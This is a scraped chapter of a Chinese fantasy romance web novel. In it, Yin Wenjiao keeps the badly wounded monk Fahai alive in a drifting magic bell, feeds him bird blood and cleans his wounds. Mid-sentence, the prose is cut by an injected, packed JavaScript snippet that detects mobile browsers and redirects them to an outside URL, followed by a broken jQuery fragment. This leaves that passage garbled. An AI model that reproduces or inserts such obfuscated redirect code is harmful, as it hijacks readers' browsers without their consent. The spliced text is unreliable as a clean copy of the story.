默认冷灰
24号文字
方正启体

39.尽事听命

作者:二鱼戏船本书字数:K更新时间:
    听说人死后,身体先从内部腐烂,发出奇臭无比的尸气,尸气会使人中毒,接着尸体会变大膨胀……


    汩汩往外流淌的血沿着光洁的后脑在玲珑铛底部汇聚,再不止血,他会变成干瘪的尸体,然后腐烂。


    法海会腐烂。


    这句话在脑海盘旋良久,久到殷温娇对它们产生了陌生感,她开始不知道几个字组合在一起想表达什么意思。


    殷温娇双手握成拳,垂向脑袋。


    咚咚的声响像敲木鱼,她忽然想起法海好久没有敲木鱼了。


    刚开始两人呆在佛窟,谁也不习惯谁,他总能将木鱼敲得震天响,白天吵她,晚上吵她,吵得她总是抱怨睡不好。


    其实她没有睡不好,纯粹是听着声响觉得烦,尤其是讨厌的和尚在她面前不分昼夜的敲木鱼,怎么看怎么是故意的。


    她是怎么做得来着?


    她逼着法海看她的黑眼圈,他当然不会乖乖听话,也不会想到她的胆子那么大,敢直接上手,双手捧起他冷峻的脸,逼近他,威胁他,“再敲,佛子都要被你敲掉了!”


    琉璃般浅色眼珠倒影着她恶劣的捉弄,深色瞳孔放大,缩小,又放大,缩小,她看着有趣凑得更近了。


    他们挨得很近,近到呼是她的气息,吸是他的气息,偏离正常的体温点燃了空气,佛窟内的夏天原来不是永远清凉的,它也会热。


    法海终于回过神,没有斥责她,起身默默离开。


    其实,只要他认真看看她,就会发现眼圈周围根本没有青色,她睡得很好。


    大约从那以后,法海再也没有敲过木鱼,连着金山寺的木鱼声响也没有了,但她知道金山寺内的木鱼响不是没了,而是被他屏蔽了。


    还有很多很多……


    在佛窟的日子明明短到掰着指节都能算清楚,为什么会有那么多的记忆呢?


    最后的记忆停在法海反常的絮叨,那些交代,那些交代……殷温娇忽然停下捶打,抬头盯住昏睡的人,她脸上还残留着泪痕,嘴角却慢慢勾起,渗人的笑声突兀响起。


    “法海,法海,你竟然骗我!”


    又哭又笑的样子实在难看。


    微风撩动海浪,涛声阵阵,同样秘密的空间,两个人,曾经他是主宰,现在位置倒换,仿佛她成为主宰。


    但,殷温娇还有什么不明白的,法海昏睡前的交代,是他算到了现在的结果。


    他在赌,赌她想活,赌她离开他在这茫茫大海无枝可依,赌——她的心。


    “法海!”殷温娇咬牙切齿道。


    秃头和尚实在可恨,又……又着实大胆,敢拿命与她赌。


    所以,救吗?


    殷温娇再一次问自己,救吗?


    不救,她要和一具尸体呆在玲珑铛不知漂流到何年何月。


    想象的画面一出来,所有的举棋不定都被冲毁。


    她不想和尸体呆在一起。


    尸体是冷的,苍白的,人是热的,鲜活的。


    她要和人呆在一起。


    就当,就得当还了他舍身相救的恩情,虽然救的是佛子,虽然处处都是对她的算计,但她也活了。


    掠过心底微不可见的别扭,掩埋掉所有的情绪,既然决定救,殷温娇便不在迟疑,开始给他止血。


    撕开裙摆边沿,充当纱布,她倾身小心翼翼移动,抱起法海上半身,把他的脑袋缠了一圈又一圈,尽量撑着他的身体不能让他躺下,其实最好是让他趴伏,方便脑袋回血,现在条件有限,能做一步是一步。


    说救,殷温娇知道自己既无专业医学知识,也无治病救人的药品傍身,不过是死马当活马医。


    日头开始移到正中天,火辣的阳光洒下,空气中的温度逐渐攀升。


    然而在无垠的大海面前,太阳失去了引以为傲的本领,海水始终保持着温凉,被海水包裹住的玲珑铛受其庇护,越是靠近晶璧,温度越清凉宜人,与之相反,铃铛中央的温度则逐渐攀升到连呼吸都是热的。


    盖因正午的太阳从晶口直射入内,完全暴晒在阳光下的法海,额头发红,嘴唇干裂起皮,唇色愈加苍白。


    手放在额头,殷温娇被烫得躲开,重新放上去,过了一会儿,白皙的手背泛起一层薄红,她怀疑法海可能已经烧糊涂了。


    发烧的人最需要的是水,这里最缺的就是淡水。


    安静的玲珑铛,热辣的空气,怀中发烫的躯体,殷温娇觉得每一刻都是煎熬。


    当她艰难地下定决心救人时,她才发现是自己想多了,或许最后连她自己也会困死在铃铛内。


    “法海,你醒醒!”


    她尝试叫醒他,轻轻拍打着发烫的脸颊,回应她的是沉默。


    时间一点点流逝,随之流逝的还有怀中人的体温,烫人的肌肤温度急剧下降,比她的体温都低,这很不寻常。


    “法海!”


    殷温娇惊得把手放在他鼻下,屏息许久,终于感受到一丝微弱气流,她轻轻地送出一口气却不敢大力呼吸,怕那股气息被吹走。


    她又忍不住想哭了,哭多了人会脱水,于是她把脸埋进怀中人的侧颈,强忍鼻酸,感受对方颈动脉跳动的节奏,心脏跟着一起规律跳动,平复慌乱的情绪。


    体温的冷热变化,让法海肉眼可见的更加虚弱。


    死气,开始萦绕。


    就在殷温娇犹豫要不要打开晶口屏障,舀点海水时,熟悉的鸣叫声再次响起。


    跟随海波浮动的玲珑铛大副晃动,朝天的晶口偏向一侧,殷温娇最初看到的猛禽又回来了,应该说它从始至终都没有离开过。


    猛禽在上空盘旋许久没有察觉到危险,便径直落在了晶口边缘,一双锐眼直勾勾盯着里面的猎物。


    要是能带回去一只,两三天它都不用辛苦打猎了。


    殷温娇与它视线相对,想法竟与它一致,若是能捉了它,喂血给法海,或许他还有生还的希望。


    血,勉强算水。


    捕猎猛禽的想法快速扫清心头阴郁,殷温娇一寸一寸扫过玲珑铛内部,青剑丢了,法海的佛链也没了,剩下的,她的目光最终落在白色束腰。


    “辟邪?”她试探性地叫了一声,法海之前就是这样叫他的。


    位于腰部正中间的白玉袈裟环听到自己的名字,动了动身子,算作回应。


    殷温娇一喜,“你能捉住上面那只鸟儿吗?”


    她不知辟邪来历,想到他能轻易打断捉妖网的系口,应该也是一件不得了的宝贝,最重要的是它有灵智。


    这回,辟邪许久没有动静,就在她快要放弃的时候,他解开束缚,抬起头,如果袈裟环是头的话,他用头指了指法海腰腹,又指了指白色袈裟。


    殷温娇不懂他的意思,猜测道,“是要把你和袈裟拆解开?”


    刚说完她就想起方才辟邪自己解开袈裟尾部束在环上的解,根本不需要别人帮忙,果然辟邪摇了摇头,重复了一遍动作。


    腰腹,白色袈裟……殷温娇忽地明白了,“你是想我重新拿了纱布绑住伤口?”


    辟邪用力点头。


    是了,这里还有一处剑伤。


    后脑,胸口,腰腹,三处致命伤,但凡有人被重伤到一处,恐怕早已性命难保,而法海身上有三处,一次比一次伤得重,一次比一次血流得多。


    他好像不知痛,也不知害怕。


    有人说一直勇往向前的人,不是有坚定不移的目标,就是有坚定守护的东西。


    法海大约是前一种人吧,毕竟书中说了,成佛是他毕生宏愿。


    辟邪等了会不见殷温娇行动,他晃了晃头,引回她的注意力。


    “抱歉。”在没有人可以交流的空间,殷温娇把他当成一种另类的,平等的生命,“我刚才在想用什么替代袈裟。”


    她说着,解开了腰带,束腰的襦裙顷刻变成了肥肥的阔身裙。


    用金丝线绣着缠枝莲纹的腰带约三指宽,它不是束缚在腰间,而是在肋骨之上,长度足够的长,所以当辟邪缓缓松开,殷温娇用腰带正好完整的束缚住法海的腰腹。


    她不敢系得太紧,怕伤口重新裂开,又不敢系得太松,那样没有收紧伤口的效果,稍微动作就能重新扯裂伤痕,最终完成束腰裹伤的动作时,殷温娇的鬓角全是汗。


    途中,她有看到剑伤,很细的一条口子,不是亲眼所见,难以相信这是被长剑穿腹留下的伤口,它实在太细,太小,若是没有血疤覆盖其上,殷温娇会以为这只是一条血线,而且它愈合的速度惊人得快。


    或许袈裟有她不知道的治疗效果。


    这算得上是一条好消息。


    按捺下猜测,殷温娇用背腕擦去额头汗珠,“好了,那只鸟儿还没走,你确定能抓住它,我就放你出去。”


    得到辟邪再次点头,殷温娇选择相信他,启唇念决,屏障打开的瞬间,她道,“去!”


    辟邪迫不及待地冲出玲珑铛,留下一抹残影,猛禽被吓一跳,进而凶性大发,脖子上的羽毛炸开,它挥动翅膀双腿一蹬追上辟邪,玲珑铛被它蹬得快要翻过来。


    殷温娇稳住身体,立刻重启屏障,避免海水倒灌入内。


    天空,冲在前头的辟邪突然来个急刹,停在半空,他张开袈裟,猛禽刹不住身体撞向袈裟,可谓是自投罗网,辟邪兜头将它裹住,任它在里面喙啄爪勾也伤不了袈裟分毫。


    白色袈裟表面左凸右凹,明明是薄薄一层棉纱布,韧性却是极佳。


    殷温娇想,后面的日子恐怕要靠它了。


    没有耗费太长时间,猛禽显出力竭的颓势,辟邪当机立断绞断了它的脖子,带着软踏踏的大鸟缓缓降落,殷温娇打开屏障接过它。


    她没有急着给法海喂食,先是对辟邪道,“辟邪,你真厉害!可以打开袈裟遮住晶口的阳光吗?”


    辟邪蛇形走位一圈,然后乖巧张开袈裟悬浮在顶部,轻薄的材质不能完全遮挡阳光,但他是个好宝贝,很好的阻隔了热源,玲珑铛内终于有了些许阴凉之气。


    接下来就是放血了。


    没有利器,她用鸟爪勾开喉咙,没有盛血的器皿,她用嘴吮吸。


    鸟血腥燥,比人体体温高的血水热烘烘的,鼻腔,喉咙,舌尖,全部都是独属于禽类的臊气,想吐。


    此时,殷温娇满脑子都是赶快将口中的血渡给法海,全然没有旖旎的心思。


    第一口,她跪坐在侧,扬起他的头,血从她口中如一条血线掉落,在他口中缓缓汇聚,他就像张着嘴巴的容器,接受了她的浇灌,却没有吞咽的动作,鲜血沿着嘴角溢出,他平坦的眉头微动,慢慢拧紧。


    殷温娇手脚慌乱,想来是血不好喝才引起对方的抗拒,可是不喝不行,她突然想起曾经看到的影视片段,忙抚摸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845791|188030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他的喉结,一遍一遍,直到他有了吞咽的动作。


    昏睡中的人终于将鸟血咽下,殷温娇不禁露出笑容,眼含喜悦,接着是第二口,第三口……直到再也吮吸不出鸟血。


    辟邪默默悬浮在上方,从他的角度看去,两人的姿态亲密,像是他与主人捉妖降魔时遇到的艳鬼,艳鬼也是这样趴伏在男子身上吸食阳气,他犹豫半晌,正打算悄悄探头看个究竟,与主人忽然张开的眼睛对上。


    原来主人还有意识啊,那他就不用多操心了。


    法海的眼睛张开又闭上,一瞬间的事情,殷温娇将全部心神放在喂食,怕鸟血滴落他处,便没有看到这一幕。


    若是她看到就会发现怀中人张开的眼睛是没有焦距的。


    法海常年打杀妖魔,对血腥气极其敏感,鸟血灌入口的瞬间,激起他的防备心,再者,他是个和尚,受戒的和尚,鸟血属于荤食,当血液汇聚在口中时,并不是他不能吞咽,是本能在抵抗,即便殷温娇想起来,哪里还有心神管得了那么多,命总比破戒重要。


    吞下血液的那一刻,法海在意识深处挣扎,强撑着睁开眼,模糊中看到殷温娇的面容,内心闪过一丝陌生感,来不及深想,重伤令他的意识再次陷入深眠。


    鸟血喂完,法海的面色不再泛红,殷温娇用手背贴向他额头,温度没有升高,还是有些低。


    接下来要处理溃败的伤口。


    殷温娇对辟邪道,“我打开屏障,你在外面守着,一旦有危险就告诉我,好不好?”


    辟邪点头答应。


    她还是很小心的,先放了辟邪出去,观测周围没有危险了,她才探出头。


    外面海天相连,世界除了脚下的水,就是头顶的天,连一座岛屿都没有。


    海风带着腥咸吹过,长久处于异味,已经失灵的鼻子渐渐恢复嗅觉,她抬袖嗅了嗅自己,混杂的气味顿时将她熏得得仰头对着海面大口吸气,可呼吸间满是血腥气,是鸟的血。


    殷温娇立刻捧起海水,咸苦的海水灌满口腔,她一时不知道是鸟血味道好些,还是海水,总归海水可以消毒,她咕噜噜漱了几遍口,总算爽快了些。


    等做足了心理准备,殷温娇再次缩进玲珑铛。


    看到鸟尸,她想了想将羽毛拔下来归拢在一旁,叫辟邪绞断长腿和头,留下利爪和鸟喙,其余的全部扔进海里。


    鸟尸泡进海水,没有直接下沉,它跟在玲珑铛周围随海浪漂浮。


    血慢慢从鸟脖断口溢出,溶入海水,撒发。


    海底,阳光照不到的地方,庞大的身影摆动尾巴快速游动,上下两排尖牙暴露在外,锯齿状的牙齿开合一口咬住猎物,翻滚身体,海底沙石飞扬,海水顷刻变得浑浊。


    它从猎物身上撕扯下一块油脂丰厚的鲜肉一口吞吃入内,猎物趁机逃窜隐匿入黑暗,追赶猎物的身影忽地顿住,它闻到了更好吃的食物味道,尾巴一摆,调转身体朝海面游去。


    海上,殷温娇有了工具,脱下法海的法衣。


    白色法衣已经被血污浸染,想要伤口不被二次感染,去除感染源是首要任务。


    法衣类似长袍,殷温娇解开系带,轻轻撩开破损的布料,血迹干涸,开裂的地方早与布料粘黏在一处,强行撕掉会重新揭开伤疤,她撕下亵衣,沾了海水一点一点浸湿布料,再小心揭开,尽量不牵扯到伤口。


    或许是海水的咸蛰疼伤口,她看到伤口周围的肌肉痉挛,仿佛里面有异虫扭动,她闭上眼睛深吸一口气,再睁开眼咬紧牙关把手放的轻一点再轻一点。


    如此反复,当布料全部揭开,剑伤,鞭伤,淤青红肿之处完完全全暴露,法海上半身已经没有一块好肉。


    殷温娇强迫自己稳住手,将血污擦洗干净,接下来还有更重要的事情。


    她拾起鸟爪,用海水彻底清洗过后,刮掉溃败腐肉,再拧住手帕,用拧出的海水冲洗伤口,期间法海的呼吸变得急促,殷温娇开始以为他要醒了,观察了一会,不见其动静,失望之下,她将注意力集中,加快手脚清理伤口。


    整个过程还算顺利,清理腐肉,消毒伤口,将脏污的东西一一扔出去,再擦拭一遍玲珑铛,里面的空气总算清新了些许。


    心情放松些许,殷温娇向天空招手,辟邪悠悠飘下来听她道,“你能载着我和法海飞起来吗?”


    靠海流,他们可能永远也到达不了海岸。


    在殷温娇期待的目光下,他摇了摇头并指了指她,她知道辟邪的意思,他可以载着她飞,两人对他来说负担重了。


    可是,殷温娇低头看向手腕,那里还有锁妖链,法海说过这条链子最长是百里,换算成米不超过五万米,五万米根本不够她走出现在视线内的范围,更别说找岛屿或者陆地了。


    她不知道法海斗法的时候如何避免锁妖链的约束,至少她现在不可能将其伸缩自如,法诀只是让它现身。


    陷入沉思中的殷温娇没有看到玲珑铛底部,黑色阴影渐渐上浮。


    辟邪飘在她身边,依然听从刚才的指令时时看守警惕周围的异动,他发现黑点立刻敲了殷温娇脑门。


    这是他们约定的信号,有危险的时候,他点她脑门,或者来不及回到她身边就把袈裟扭成一个圆,转圈圈。


    虽然点变成敲,但不耽搁殷温娇立时启唇念出法诀。


    屏障开启的那一刻,平静的海面波澜涌起。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)